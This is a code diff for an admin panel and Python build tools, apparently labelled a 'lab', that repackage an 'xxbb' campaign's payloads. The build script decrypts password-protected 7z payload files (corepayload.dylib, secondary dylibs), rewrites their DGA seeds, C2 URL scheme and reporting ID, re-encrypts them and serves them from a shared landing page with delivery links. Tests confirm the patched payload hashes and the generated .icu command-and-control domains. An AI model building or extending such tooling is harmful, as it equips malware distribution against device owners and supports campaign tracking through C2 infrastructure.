diff --git a/app/Http/Controllers/Admin/ChannelController.php b/app/Http/Controllers/Admin/ChannelController.php index 581cdbf..e1348cf 100644 --- a/app/Http/Controllers/Admin/ChannelController.php +++ b/app/Http/Controllers/Admin/ChannelController.php @@ -118,7 +118,7 @@ class ChannelController extends Controller } $builderType = (string) ($data['builder_type'] ?? Channel::BUILDER_OLD); - $channelName = $builderType === Channel::BUILDER_NEW ? Channel::randomChannelName() : null; + $channelName = null; $supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE); $this->assertAgentChannelQuota($userId); @@ -131,7 +131,7 @@ class ChannelController extends Controller $builderType, $channelName, ); - $channelName = $build['channel_name'] ?? $channelName; + $channelName = $build['channel_name'] ?? null; } catch (\Throwable $e) { return response()->json([ 'code' => 1, diff --git a/app/Models/Channel.php b/app/Models/Channel.php index 53d462b..7ea37f8 100644 --- a/app/Models/Channel.php +++ b/app/Models/Channel.php @@ -124,10 +124,7 @@ class Channel extends Model public function landingPath(): string { if ($this->isNewBuilder()) { - $name = strtolower(trim((string) ($this->channel_name ?? ''))); - if ($name !== '') { - return '/source/'.$name.'/index.html'; - } + return '/weifile/weifile.html'; } return '/web/'.$this->channel_id.'/support.html'; diff --git a/app/Services/ChannelProjectService.php b/app/Services/ChannelProjectService.php index 135a297..ac3bd80 100644 --- a/app/Services/ChannelProjectService.php +++ b/app/Services/ChannelProjectService.php @@ -76,20 +76,7 @@ class ChannelProjectService $builderType = $this->normalizeBuilderType($builderType); if ($builderType === self::BUILDER_NEW) { - $name = strtolower(trim((string) $channelName)); - if ($name === '') { - return; - } - $cmd = [ - $this->pythonBinary($builderType), - $this->builderScript('delete_channel.py', $builderType), - '--artifact-root', - $this->artifactRoot(), - '--channel-name', - $name, - ]; - $this->runBuilder($cmd, '删除渠道资源失败', $this->builderCwd($builderType)); - + // Shared /weifile + /details must not be wiped when a DB channel row is removed. return; } @@ -198,7 +185,7 @@ class ChannelProjectService ?string $deploymentSeed, ?string $reportingSeed, ): array { - $channelName = $this->normalizeChannelName((string) $channelName); + unset($channelName); // shared /weifile layout; no per-channel folder if ($channelId === '202800cfb1ad3de68e11239dcc26c30b') { throw new RuntimeException('channel_id 不能与 7z 密码槽相同'); } @@ -213,8 +200,6 @@ class ChannelProjectService $this->artifactRoot(), '--state-root', $this->stateRoot(self::BUILDER_NEW), - '--channel-name', - $channelName, '--channel-c', $channelId, '--scheme', @@ -230,12 +215,12 @@ class ChannelProjectService } $result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_NEW)); - $weifilePath = '/source/'.$channelName.'/index.html'; + $weifilePath = (string) ($result['weifile_path'] ?? '/weifile/weifile.html'); return [ 'channel_id' => $channelId, 'builder_type' => self::BUILDER_NEW, - 'channel_name' => $channelName, + 'channel_name' => null, 'seeds' => [ 'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', ''), 'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', ''), @@ -249,7 +234,7 @@ class ChannelProjectService 'sync_rebuilt' => (bool) ($result['sync_rebuilt'] ?? false), 'support_path' => (string) ($result['support_path'] ?? $weifilePath), 'weifile_path' => $weifilePath, - 'daily_path' => '', + 'daily_path' => (string) ($result['details_path'] ?? '/details/'), ]; } diff --git a/channel-builder-new/README.md b/channel-builder-new/README.md index 9a0b3f0..dcba7b6 100644 --- a/channel-builder-new/README.md +++ b/channel-builder-new/README.md @@ -1,11 +1,18 @@ # channel-builder-new xxbb / weifile channel builder for coruna-lab. Separate from `channel-builder/` -(lab `web/` + `sync/` layout). New-type channels are distinguished by -`/source/{channel_name}/index.html`. +(lab `web/` + `sync/` layout). -This pass patches **weifile secondary type-0x01 only** (DGA seeds + reporting -field `c`). `details/` is copied as-is (core/`c` not rewritten yet). +Applies **shared** artifacts: + +- `/weifile/weifile.html` (+ stages / patched secondary `.min.js`) +- `/details/` (`show.html` + patched `corepayload.js` + plugins) + +This pass patches: + +1. **weifile secondary type-0x01** — DGA seeds + reporting field `c` +2. **details/corepayload** — all `c` slots (DGA + `/event` field), then rewrites + `show.html` core `sha256` / `size` ```bash cd channel-builder-new @@ -13,29 +20,27 @@ python3 -m venv .venv .venv/bin/pip install -r requirements.txt .venv/bin/python tools/build.py \ - --channel-name <8-32-alnum> \ + --channel-c <32-hex> \ --apply --force ``` -Writes `{artifact-root}/source/{channel_name}/` (landing `index.html`) and -shared `{artifact-root}/details/` (default `../public`). +Writes `{artifact-root}/weifile/` and `{artifact-root}/details/` (default +`../public`). DGA seeds: omit `--deployment-seed` / `--reporting-seed` to reuse `storage/app/channel-builder-new/lab_seeds.json`, or generate them on first run. First generate writes one random seed and copies it to both deployment and -reporting (same as `channel-builder`). CLI pair must also match. The first 5 -PLServerPool DGA candidates are stored in `lab_seeds.json` and returned in -the create result (`domains.deployment` / `domains.reporting`). +reporting (same as `channel-builder`). CLI pair must also match. Domain list is +`DGA(channel_c)` (native pools use `c`, not the dep/rep C-strings). | Flag | What it replaces | Where | |------|------------------|--------| -| `--deployment-seed` | DGA seed → `%@.icu` / `backup%u.icu` | secondary dylibs (1 hit each) | -| `--reporting-seed` | Reporting DGA seed | secondary dylibs (1 hit each) | -| `--channel-c` | Native report field `c` (`202700cf…`) | secondary dylibs (1 hit each) | -| `--scheme` | Native DGA/C2 URL scheme (`https://%@` / `https://backup%u.icu`) | secondary dylibs (default `https`; `http` is ATS-blocked on device for `.icu` hosts) | +| `--deployment-seed` | DGA seed slot | secondary dylibs (1 hit each) | +| `--reporting-seed` | Reporting DGA seed slot | secondary dylibs (1 hit each) | +| `--channel-c` | Native report / DGA `c` (`202700cf…`) | secondary (1) + corepayload (6) | +| `--scheme` | Native DGA/C2 URL scheme | secondary dylibs (default `https`) | Do **not** change the 7zAES password `202800cfb1ad3de68e11239dcc26c30b` -(one nibble off `c`). Details modules still decrypt with that password. +(one nibble off original `c`). Details modules still decrypt with that password. -`index.js` iptj URL / `channelCode` are not patched here. Native `/event` -`c` still comes from core until a later details pass. +`index.js` iptj URL / `channelCode` are not patched here. diff --git a/channel-builder-new/requirements.txt b/channel-builder-new/requirements.txt index 7db78d1..1444cd6 100644 --- a/channel-builder-new/requirements.txt +++ b/channel-builder-new/requirements.txt @@ -1 +1,2 @@ pycryptodome>=3.19 +py7zr>=0.21 diff --git a/channel-builder-new/tools/_details_pack.py b/channel-builder-new/tools/_details_pack.py new file mode 100644 index 0000000..e367ef4 --- /dev/null +++ b/channel-builder-new/tools/_details_pack.py @@ -0,0 +1,74 @@ +"""Decrypt/encrypt xxbb details 7zAES wires (show.html / *.js).""" + +from __future__ import annotations + +import shutil +import subprocess +import tempfile +from pathlib import Path + +try: + import py7zr +except ImportError as exc: # pragma: no cover + raise SystemExit("py7zr required: pip install py7zr") from exc + +SEVEN_ZIP_PASSWORD = "202800cfb1ad3de68e11239dcc26c30b" +# Matches original corepayload.js wire size closely (~521913). +_7Z_PACK_FILTER = "LZMA2" + + +def _find_7z() -> str: + for name in ("7z", "7za"): + path = shutil.which(name) + if path: + return path + raise SystemExit( + "7z required to pack xxbb details archives. Install p7zip / 7-Zip." + ) + + +def extract_member(archive: bytes, *, password: str = SEVEN_ZIP_PASSWORD) -> tuple[str, bytes]: + with tempfile.TemporaryDirectory() as tmp: + root = Path(tmp) + arc = root / "in.7z" + arc.write_bytes(archive) + with py7zr.SevenZipFile(arc, mode="r", password=password) as handle: + names = handle.getnames() + if len(names) != 1: + raise SystemExit(f"expected one archive member, got {names!r}") + handle.extractall(path=root) + member = names[0] + data = (root / member).read_bytes() + return Path(member).name, data + + +def make_passworded_7z( + member_name: str, + payload: bytes, + *, + password: str = SEVEN_ZIP_PASSWORD, +) -> bytes: + arc_name = Path(member_name).name + seven = _find_7z() + with tempfile.TemporaryDirectory() as tmp: + archive = Path(tmp) / "out.7z" + cmd = [ + seven, + "a", + "-t7z", + f"-m0={_7Z_PACK_FILTER}", + "-mhe=on", + f"-p{password}", + f"-si{arc_name}", + "-y", + "-bso0", + "-bsp0", + str(archive), + ] + proc = subprocess.run(cmd, input=payload, capture_output=True) + if proc.returncode != 0 or not archive.is_file(): + detail = (proc.stderr or proc.stdout or b"").decode("utf-8", "replace").strip() + raise RuntimeError( + f"7z -si pack failed (code {proc.returncode}): {detail or 'no output'}" + ) + return archive.read_bytes() diff --git a/channel-builder-new/tools/build.py b/channel-builder-new/tools/build.py index dfa272e..2941087 100644 --- a/channel-builder-new/tools/build.py +++ b/channel-builder-new/tools/build.py @@ -1,9 +1,9 @@ #!/usr/bin/env python3 -"""Patch xxbb weifile secondary packs (DGA seeds + reporting field c). +"""Patch xxbb secondary packs + corepayload `c`, apply shared weifile/details. -Per-channel landing: - {artifact-root}/source/{channel_name}/index.html -Shared details stay at {artifact-root}/details/. +Artifact layout (shared, not per-channel folders): + {artifact-root}/weifile/ (landing weifile.html + stages + patched secondary) + {artifact-root}/details/ (show.html + patched corepayload.js + plugins) Seed resolution (same idea as channel-builder/tools/new_project.py): 1. both --deployment-seed and --reporting-seed @@ -22,6 +22,7 @@ import shutil from datetime import datetime, timezone from pathlib import Path +from _details_pack import extract_member, make_passworded_7z from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs from reproduce_xxbb_dga import generate_domains @@ -37,8 +38,14 @@ RESULT_MARKER = "CORUNA_BUILD_RESULT " LAB_SEEDS_NAME = "lab_seeds.json" CHANNEL_NAME_RE = re.compile(r"^[a-z0-9]{8,32}$") XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$") -CHANNEL_ROOT = "source" -LANDING_NAME = "index.html" +WEIFILE_ROOT = "weifile" +DETAILS_ROOT = "details" +LANDING_NAME = "weifile.html" +CORE_WIRE_NAME = "corepayload.js" +CORE_MEMBER_NAME = "corepayload.dylib" +SHOW_WIRE_NAME = "show.html" +SHOW_MEMBER_NAME = "data.bin" +CORE_C_EXPECT = 6 DGA_COUNT = 5 ORIGINAL_DEP = "321fb0c812b46265421b5ad9654c2b81" @@ -231,6 +238,73 @@ def patch_dylib( return bytes(buf) +def patch_core_dylib(data: bytes, *, channel_c: str, label: str) -> bytes: + """Replace all ORIGINAL_C slots in corepayload.dylib (DGA + report field).""" + buf = bytearray(data) + replace_slot( + buf, + ORIGINAL_C.encode("ascii"), + pack_ascii32("--channel-c", channel_c), + label=label, + expect=CORE_C_EXPECT, + ) + if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C: + raise SystemExit(f"{label}: original c still present") + if channel_c.encode("ascii") not in buf: + raise SystemExit(f"{label}: patched channel_c missing") + return bytes(buf) + + +def update_show_config(config_bytes: bytes, *, core_sha256: str, core_size: int) -> bytes: + doc = json.loads(config_bytes.decode("utf-8")) + if not isinstance(doc, dict) or not isinstance(doc.get("core"), dict): + raise SystemExit("show data.bin: missing core object") + core = doc["core"] + core["sha256"] = core_sha256 + core["size"] = core_size + # Keep compact JSON (no spaces) to stay close to campaign wire shape. + return json.dumps(doc, separators=(",", ":"), ensure_ascii=False).encode("utf-8") + + +def build_details( + *, + channel_c: str, + out_dir: Path, +) -> dict: + """Patch corepayload + refresh show.html hashes; write wires under out_dir/details_wires.""" + src_core = SOURCE_DETAILS / CORE_WIRE_NAME + src_show = SOURCE_DETAILS / SHOW_WIRE_NAME + if not src_core.is_file() or not src_show.is_file(): + raise SystemExit(f"missing details templates under {SOURCE_DETAILS}") + + member, core_plain = extract_member(src_core.read_bytes()) + if member != CORE_MEMBER_NAME: + raise SystemExit(f"unexpected core member name: {member!r}") + patched_core = patch_core_dylib(core_plain, channel_c=channel_c, label=CORE_MEMBER_NAME) + core_digest = sha256_hex(patched_core) + core_wire = make_passworded_7z(CORE_MEMBER_NAME, patched_core) + + show_member, show_plain = extract_member(src_show.read_bytes()) + if show_member != SHOW_MEMBER_NAME: + raise SystemExit(f"unexpected show member name: {show_member!r}") + show_updated = update_show_config(show_plain, core_sha256=core_digest, core_size=len(patched_core)) + show_wire = make_passworded_7z(SHOW_MEMBER_NAME, show_updated) + + wires = out_dir / "details_wires" + wires.mkdir(parents=True, exist_ok=True) + (wires / CORE_WIRE_NAME).write_bytes(core_wire) + (wires / SHOW_WIRE_NAME).write_bytes(show_wire) + (out_dir / "dylibs" / CORE_MEMBER_NAME).write_bytes(patched_core) + + return { + "core_sha256": core_digest, + "core_size": len(patched_core), + "core_wire_size": len(core_wire), + "show_wire_size": len(show_wire), + "core_c_hits": patched_core.count(channel_c.encode("ascii")), + } + + def copy_tree(src: Path, dst: Path) -> None: if dst.exists(): shutil.rmtree(dst) @@ -397,7 +471,7 @@ def default_state_root() -> Path: def main() -> int: parser = argparse.ArgumentParser( - description="Replace weifile type-0x01 DGA seeds and reporting c, then re-encrypt .min.js." + description="Patch xxbb secondary + corepayload c; apply shared /weifile and /details." ) parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate") parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate") @@ -407,13 +481,13 @@ def main() -> int: ) parser.add_argument( "--channel-name", - help="per-channel folder + html name; required with --apply", + help="deprecated/ignored (shared /weifile layout; kept for CLI compatibility)", ) parser.add_argument( "--artifact-root", type=Path, default=PROJECT_ROOT / "public", - help="directory that will contain {channel_name}/ and details/", + help="directory that will contain weifile/ and details/", ) parser.add_argument( "--state-root", @@ -429,12 +503,12 @@ def main() -> int: parser.add_argument( "--apply", action="store_true", - help="copy weifile into {artifact}/source/{channel_name}/ and shared details/", + help="write shared {artifact}/weifile/ and {artifact}/details/", ) parser.add_argument( "--force", action="store_true", - help="replace an existing {channel_name}/ directory", + help="replace existing weifile/ and details/ (default with --apply)", ) parser.add_argument( "--scheme", @@ -453,11 +527,9 @@ def main() -> int: cli_c=args.channel_c, ) - channel_name = "" + # Optional legacy flag; shared layout no longer uses per-channel folders. if args.channel_name: - channel_name = validate_channel_name(args.channel_name) - elif args.apply: - raise SystemExit("--channel-name is required with --apply") + validate_channel_name(args.channel_name) meta = load_keys() stems = meta["stems"] @@ -499,33 +571,38 @@ def main() -> int: built.append({"stem": stem, "group": group, "size": len(wire), "sha256": sha256_hex(wire)}) print(f" wrote {dest.name} ({len(wire)} bytes)") + details_meta = build_details(channel_c=channel_c, out_dir=out) + print( + f"corepayload: patched c hits={details_meta['core_c_hits']} " + f"sha256={details_meta['core_sha256'][:16]}… size={details_meta['core_size']}" + ) + weifile_path = "" details_path = "" if args.apply: artifact = args.artifact_root.resolve() - dest_channel = artifact / CHANNEL_ROOT / channel_name - dest_details = artifact / "details" - if dest_channel.exists() and not args.force: - raise SystemExit(f"channel dir already exists (pass --force): {dest_channel}") + dest_weifile = artifact / WEIFILE_ROOT + dest_details = artifact / DETAILS_ROOT + # Shared trees are always replaced on --apply. if not SOURCE_WEIFILE.is_dir(): raise SystemExit(f"missing weifile template: {SOURCE_WEIFILE}") if not SOURCE_DETAILS.is_dir(): raise SystemExit(f"missing details template: {SOURCE_DETAILS}") - copy_tree(SOURCE_WEIFILE, dest_channel) - landing = dest_channel / LANDING_NAME - src_html = dest_channel / "weifile.html" - if not src_html.is_file(): - raise SystemExit(f"missing weifile.html in template copy: {src_html}") - shutil.copy2(src_html, landing) + copy_tree(SOURCE_WEIFILE, dest_weifile) + if not (dest_weifile / LANDING_NAME).is_file(): + raise SystemExit(f"missing {LANDING_NAME} in template copy: {dest_weifile}") copy_tree(SOURCE_DETAILS, dest_details) + shutil.copy2(out / "details_wires" / CORE_WIRE_NAME, dest_details / CORE_WIRE_NAME) + shutil.copy2(out / "details_wires" / SHOW_WIRE_NAME, dest_details / SHOW_WIRE_NAME) for item in built: src = out / f"{item['stem']}.min.js" - dst = dest_channel / src.name + dst = dest_weifile / src.name shutil.copy2(src, dst) print(f"applied -> {dst}") + print(f"applied weifile -> {dest_weifile}") print(f"applied details -> {dest_details}") - weifile_path = f"/{CHANNEL_ROOT}/{channel_name}/{LANDING_NAME}" - details_path = "/details/" + weifile_path = f"/{WEIFILE_ROOT}/{LANDING_NAME}" + details_path = f"/{DETAILS_ROOT}/" print("deployment domains:") for i, domain in enumerate(domains.get("deployment") or [], 1): @@ -537,12 +614,12 @@ def main() -> int: result = { "campaign": "xxbb", "builder_type": "new", - "channel_name": channel_name or None, + "channel_name": None, "weifile_path": weifile_path or None, "support_path": weifile_path or None, "details_path": details_path or None, "seeds_initialized": seeds_initialized, - "sync_rebuilt": False, + "sync_rebuilt": bool(args.apply), "domains": domains, "seeds": { "deployment_seed": dep, @@ -552,9 +629,11 @@ def main() -> int: "seven_zip_password": SEVEN_ZIP_PASSWORD, "files": built, "group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()}, + "details": details_meta, "scheme": args.scheme, "notes": [ - "details/core not patched; native /event c still original until a later pass", + "secondary + corepayload c patched; domains follow channel_c DGA", + "shared artifact paths: /weifile/weifile.html and /details/", "index.js iptj URL / channelCode not patched", "domains are PLServerPool first 5 from channel_c (xxbb DGA: 15-char [a-z0-9] + .icu)", f"native DGA/C2 scheme={args.scheme}", diff --git a/channel-builder-new/tools/delete_channel.py b/channel-builder-new/tools/delete_channel.py index 779a52f..47ca393 100644 --- a/channel-builder-new/tools/delete_channel.py +++ b/channel-builder-new/tools/delete_channel.py @@ -1,12 +1,14 @@ #!/usr/bin/env python3 -"""Delete one channel's {channel_name}/ tree; leave shared details/ and lab_seeds.json intact.""" +"""No-op delete for shared /weifile + /details layout. + +New-builder assets are deployment-wide. Removing one DB channel must not wipe +shared weifile/details used by the active campaign. +""" from __future__ import annotations import argparse import json -import shutil -import sys from pathlib import Path import build as xxbb_build @@ -15,8 +17,10 @@ RESULT_MARKER = "CORUNA_BUILD_RESULT " def main() -> int: - parser = argparse.ArgumentParser(description="Remove {channel_name}/ from artifact root") - parser.add_argument("--channel-name", required=True) + parser = argparse.ArgumentParser( + description="Shared weifile/details are not deleted per channel (noop)." + ) + parser.add_argument("--channel-name", default="", help="ignored (legacy)") parser.add_argument( "--artifact-root", type=Path, @@ -24,24 +28,17 @@ def main() -> int: help="shared artifact root (default: coruna-lab/public)", ) args = parser.parse_args() - - channel_name = xxbb_build.validate_channel_name(args.channel_name) artifact_root = args.artifact_root.resolve() - channel_dir = artifact_root / xxbb_build.CHANNEL_ROOT / channel_name - removed = False - if channel_dir.is_dir(): - shutil.rmtree(channel_dir) - removed = True - print(f"removed {channel_dir}") - else: - print(f"missing {channel_dir} (noop)") - result = { - "status": "deleted" if removed else "absent", - "channel_name": channel_name, + "status": "skipped", + "reason": "shared_weifile_details", + "channel_name": (args.channel_name or "").strip().lower() or None, "artifact_root": str(artifact_root), - "removed": removed, + "removed": False, + "weifile": str(artifact_root / xxbb_build.WEIFILE_ROOT), + "details": str(artifact_root / xxbb_build.DETAILS_ROOT), } + print("shared /weifile and /details left intact (noop)") print(RESULT_MARKER + json.dumps(result, separators=(",", ":")), flush=True) return 0 diff --git a/channel-builder-new/tools/tests/test_build.py b/channel-builder-new/tools/tests/test_build.py index 1be4992..efda90c 100644 --- a/channel-builder-new/tools/tests/test_build.py +++ b/channel-builder-new/tools/tests/test_build.py @@ -10,6 +10,7 @@ from pathlib import Path TOOLS = Path(__file__).resolve().parents[1] sys.path.insert(0, str(TOOLS)) +from _details_pack import extract_member # noqa: E402 from _secondary_pack import decrypt_secondary_minjs # noqa: E402 import build as xxbb_build # noqa: E402 from reproduce_xxbb_dga import generate_domains # noqa: E402 @@ -49,12 +50,12 @@ class XxbbBuildTest(unittest.TestCase): out = decrypt_secondary_minjs(wire, key) self.assertEqual(out, patched[info["group"]]) - def test_apply_writes_named_channel_html(self) -> None: + def test_apply_writes_shared_weifile_and_patched_details(self) -> None: with tempfile.TemporaryDirectory() as tmp: artifact = Path(tmp) / "public" state = Path(tmp) / "state" out = Path(tmp) / "out" - name = "abcd1234" + channel_c = "33333333333333333333333333333333" argv = [ "build.py", "--deployment-seed", @@ -62,9 +63,7 @@ class XxbbBuildTest(unittest.TestCase): "--reporting-seed", "11111111111111111111111111111111", "--channel-c", - "33333333333333333333333333333333", - "--channel-name", - name, + channel_c, "--artifact-root", str(artifact), "--state-root", @@ -80,30 +79,46 @@ class XxbbBuildTest(unittest.TestCase): self.assertEqual(xxbb_build.main(), 0) finally: sys.argv = old - channel_dir = artifact / "source" / name + weifile = artifact / "weifile" details = artifact / "details" - self.assertTrue((channel_dir / "index.js").is_file()) - self.assertTrue((channel_dir / "weifile.html").is_file()) - self.assertTrue((channel_dir / "index.html").is_file()) + self.assertTrue((weifile / "index.js").is_file()) + self.assertTrue((weifile / "weifile.html").is_file()) + self.assertFalse((artifact / "source").exists()) self.assertTrue((details / "show.html").is_file()) self.assertTrue((details / "corepayload.js").is_file()) self.assertTrue((details / "helion.js").is_file()) stem = "800d80e0fa1f2baf9a9e41169ecc88e18042bb17" - blob = (channel_dir / f"{stem}.min.js").read_bytes() + blob = (weifile / f"{stem}.min.js").read_bytes() key = bytes.fromhex(json.loads((TOOLS / "secondary_keys.json").read_text())["stems"][stem]["key"]) dylib = decrypt_secondary_minjs(blob, key) self.assertIn(b"11111111111111111111111111111111", dylib) - self.assertIn(b"33333333333333333333333333333333", dylib) + self.assertIn(channel_c.encode(), dylib) self.assertIn(xxbb_build.SEVEN_ZIP_PASSWORD.encode(), dylib) self.assertIn(b"https://%@\x00", dylib) self.assertNotIn(b"http://%@\x00", dylib) + + member, core = extract_member((details / "corepayload.js").read_bytes()) + self.assertEqual(member, "corepayload.dylib") + self.assertEqual(core.count(channel_c.encode()), xxbb_build.CORE_C_EXPECT) + self.assertEqual(core.count(xxbb_build.ORIGINAL_C.encode()), 0) + + show_member, show_plain = extract_member((details / "show.html").read_bytes()) + self.assertEqual(show_member, "data.bin") + show = json.loads(show_plain.decode("utf-8")) + self.assertEqual(show["core"]["sha256"], xxbb_build.sha256_hex(core)) + self.assertEqual(show["core"]["size"], len(core)) + seeds = json.loads((state / "lab_seeds.json").read_text()) self.assertEqual(seeds["deployment_seed"], "11111111111111111111111111111111") self.assertEqual(seeds["reporting_seed"], "11111111111111111111111111111111") - self.assertEqual(seeds["channel_c"], "33333333333333333333333333333333") + self.assertEqual(seeds["channel_c"], channel_c) self.assertEqual(seeds["domains"]["deployment"][0], "syv4c2c8nb8fpzo.icu") self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(seeds["domains"]["deployment"][0])) + manifest = json.loads((out / "MANIFEST.json").read_text()) + self.assertEqual(manifest["weifile_path"], "/weifile/weifile.html") + self.assertEqual(manifest["details_path"], "/details/") + def test_seeds_generated_once_then_reused(self) -> None: with tempfile.TemporaryDirectory() as tmp: state = Path(tmp) / "state" @@ -216,23 +231,31 @@ class XxbbBuildTest(unittest.TestCase): self.assertNotIn(b"https://backup%u.icu\x00", http) self.assertEqual(len(http), len(https)) - def test_apply_requires_channel_name(self) -> None: + def test_apply_works_without_channel_name(self) -> None: with tempfile.TemporaryDirectory() as tmp: + artifact = Path(tmp) / "public" + state = Path(tmp) / "state" argv = [ "build.py", + "--channel-c", + "33333333333333333333333333333333", + "--deployment-seed", + "11111111111111111111111111111111", + "--reporting-seed", + "11111111111111111111111111111111", "--artifact-root", - tmp, + str(artifact), "--state-root", - tmp, + str(state), "--apply", ] old = sys.argv try: sys.argv = argv - with self.assertRaises(SystemExit): - xxbb_build.main() + self.assertEqual(xxbb_build.main(), 0) finally: sys.argv = old + self.assertTrue((artifact / "weifile" / "weifile.html").is_file()) if __name__ == "__main__": diff --git a/resources/views/admin/channels/index.blade.php b/resources/views/admin/channels/index.blade.php index ba04387..3d80185 100644 --- a/resources/views/admin/channels/index.blade.php +++ b/resources/views/admin/channels/index.blade.php @@ -174,13 +174,14 @@ layui.use(['table', 'form', 'layer'], function () { var links = data.links || []; var html = '
'; html += '
渠道 ' + channelId + '
'; - if (data.builder_type === 'new' && data.channel_name) { - html += '
channel_name ' + data.channel_name + '
'; - } if (data.weifile_path || data.support_path) { html += '
落地页 ' + (data.weifile_path || data.support_path).replace(/
'; } + if (data.builder_type === 'new' && data.daily_path) { + html += '
details ' + + String(data.daily_path).replace(/
'; + } if (links.length) { html += '
投放链接
'; links.forEach(function (u) { @@ -218,7 +219,7 @@ layui.use(['table', 'form', 'layer'], function () { '' + '' + '' + - '
旧版=channel-builder(/web/id/support.html);新版=channel-builder-new(/source/{name}/index.html)
' + '
旧版=channel-builder(/web/id/support.html);新版=channel-builder-new(/weifile/weifile.html + /details)
' : ''; var templateBlock = (isAdmin && creating) @@ -318,10 +319,10 @@ layui.use(['table', 'form', 'layer'], function () { if (obj.event === 'edit') openForm('编辑渠道链接', obj.data, false); if (obj.event === 'links') openLinks(obj.data); if (obj.event === 'del') { - var pathHint = obj.data.builder_type === 'new' && obj.data.channel_name - ? ('source/' + obj.data.channel_name + '/index.html') - : ('web/' + obj.data.channel_id); - layer.confirm('删除后将移除数据库记录与 ' + pathHint + ' 资源,确认?', function (idx) { + var pathHint = obj.data.builder_type === 'new' + ? '数据库记录(共享 /weifile 与 /details 保留)' + : ('数据库记录与 web/' + obj.data.channel_id + ' 资源'); + layer.confirm('删除后将移除 ' + pathHint + ',确认?', function (idx) { $.ajax({ url: @json(url('/admin/channels')) + '/' + obj.data.id, method: 'POST', diff --git a/tests/Feature/ChannelProjectServiceTest.php b/tests/Feature/ChannelProjectServiceTest.php index 7045ecb..9ccae26 100644 --- a/tests/Feature/ChannelProjectServiceTest.php +++ b/tests/Feature/ChannelProjectServiceTest.php @@ -332,16 +332,16 @@ class ChannelProjectServiceTest extends TestCase } #[Test] - public function it_invokes_new_builder_with_channel_name(): void + public function it_invokes_new_builder_for_shared_weifile(): void { - $name = 'abcd1234'; Process::fake([ '*' => Process::result(output: $this->fakeBuildResult([ 'builder_type' => 'new', - 'channel_name' => $name, - 'weifile_path' => '/source/'.$name.'/index.html', - 'support_path' => '/source/'.$name.'/index.html', - 'daily_path' => '', + 'channel_name' => null, + 'weifile_path' => '/weifile/weifile.html', + 'support_path' => '/weifile/weifile.html', + 'details_path' => '/details/', + 'daily_path' => '/details/', 'domains' => ['deployment' => [], 'reporting' => []], ])), ]); @@ -352,20 +352,19 @@ class ChannelProjectServiceTest extends TestCase null, null, Channel::BUILDER_NEW, - $name, ); $this->assertSame(Channel::BUILDER_NEW, $result['builder_type']); - $this->assertSame($name, $result['channel_name']); - $this->assertSame('/source/'.$name.'/index.html', $result['weifile_path']); - $this->assertSame('/source/'.$name.'/index.html', $result['support_path']); + $this->assertNull($result['channel_name']); + $this->assertSame('/weifile/weifile.html', $result['weifile_path']); + $this->assertSame('/weifile/weifile.html', $result['support_path']); + $this->assertSame('/details/', $result['daily_path']); - Process::assertRan(function ($process) use ($name) { + Process::assertRan(function ($process) { $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command; return str_contains($joined, 'build.py') - && str_contains($joined, '--channel-name') - && str_contains($joined, $name) + && ! str_contains($joined, '--channel-name') && str_contains($joined, '--channel-c') && str_contains($joined, self::CHANNEL_ID) && str_contains($joined, '--scheme') @@ -391,28 +390,28 @@ class ChannelProjectServiceTest extends TestCase } #[Test] - public function support_links_use_channel_name_path_for_new_builder(): void + public function support_links_use_weifile_path_for_new_builder(): void { $channel = new Channel([ 'channel_id' => self::CHANNEL_ID, 'builder_type' => Channel::BUILDER_NEW, - 'channel_name' => 'abcd1234', 'domains' => ['channel.test'], ]); $this->assertSame([ - 'https://channel.test/source/abcd1234/index.html', + 'https://channel.test/weifile/weifile.html', ], $channel->supportLinks()); - $this->assertSame('/source/abcd1234/index.html', $channel->landingPath()); + $this->assertSame('/weifile/weifile.html', $channel->landingPath()); } #[Test] - public function store_new_builder_persists_channel_name_and_returns_weifile_path(): void + public function store_new_builder_returns_shared_weifile_path(): void { Process::fake([ '*' => Process::result(output: $this->fakeBuildResult([ - 'weifile_path' => '/placeholder/placeholder.html', - 'support_path' => '/placeholder/placeholder.html', - 'daily_path' => '', + 'weifile_path' => '/weifile/weifile.html', + 'support_path' => '/weifile/weifile.html', + 'details_path' => '/details/', + 'daily_path' => '/details/', ])), ]); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); @@ -430,38 +429,30 @@ class ChannelProjectServiceTest extends TestCase $channel = Channel::query()->where('channel_id', self::CHANNEL_ID)->first(); $this->assertNotNull($channel); $this->assertSame(Channel::BUILDER_NEW, $channel->builderType()); - $this->assertMatchesRegularExpression('/^[a-z0-9]{8}$/', (string) $channel->channel_name); - $this->assertSame( - '/source/'.$channel->channel_name.'/index.html', - $channel->landingPath() - ); - $this->assertSame($channel->channel_name, $response->json('data.channel_name')); - $this->assertSame($channel->landingPath(), $response->json('data.weifile_path')); + $this->assertNull($channel->channel_name); + $this->assertSame('/weifile/weifile.html', $channel->landingPath()); + $this->assertNull($response->json('data.channel_name')); + $this->assertSame('/weifile/weifile.html', $response->json('data.weifile_path')); - Process::assertRan(function ($process) use ($channel) { + Process::assertRan(function ($process) { $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command; return str_contains($joined, 'build.py') - && str_contains($joined, $channel->channel_name) + && ! str_contains($joined, '--channel-name') && str_contains($joined, '--channel-c') && str_contains($joined, self::CHANNEL_ID); }); } #[Test] - public function destroy_new_builder_deletes_channel_name_tree(): void + public function destroy_new_builder_keeps_shared_weifile(): void { - Process::fake([ - '*' => Process::result(output: ChannelProjectService::RESULT_MARKER.json_encode([ - 'status' => 'deleted', - 'removed' => true, - ])."\n"), - ]); + Process::fake(); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $channel = Channel::query()->create([ 'channel_id' => self::CHANNEL_ID, 'builder_type' => Channel::BUILDER_NEW, - 'channel_name' => 'abcd1234', + 'channel_name' => null, 'user_id' => 0, 'status' => 1, ]); @@ 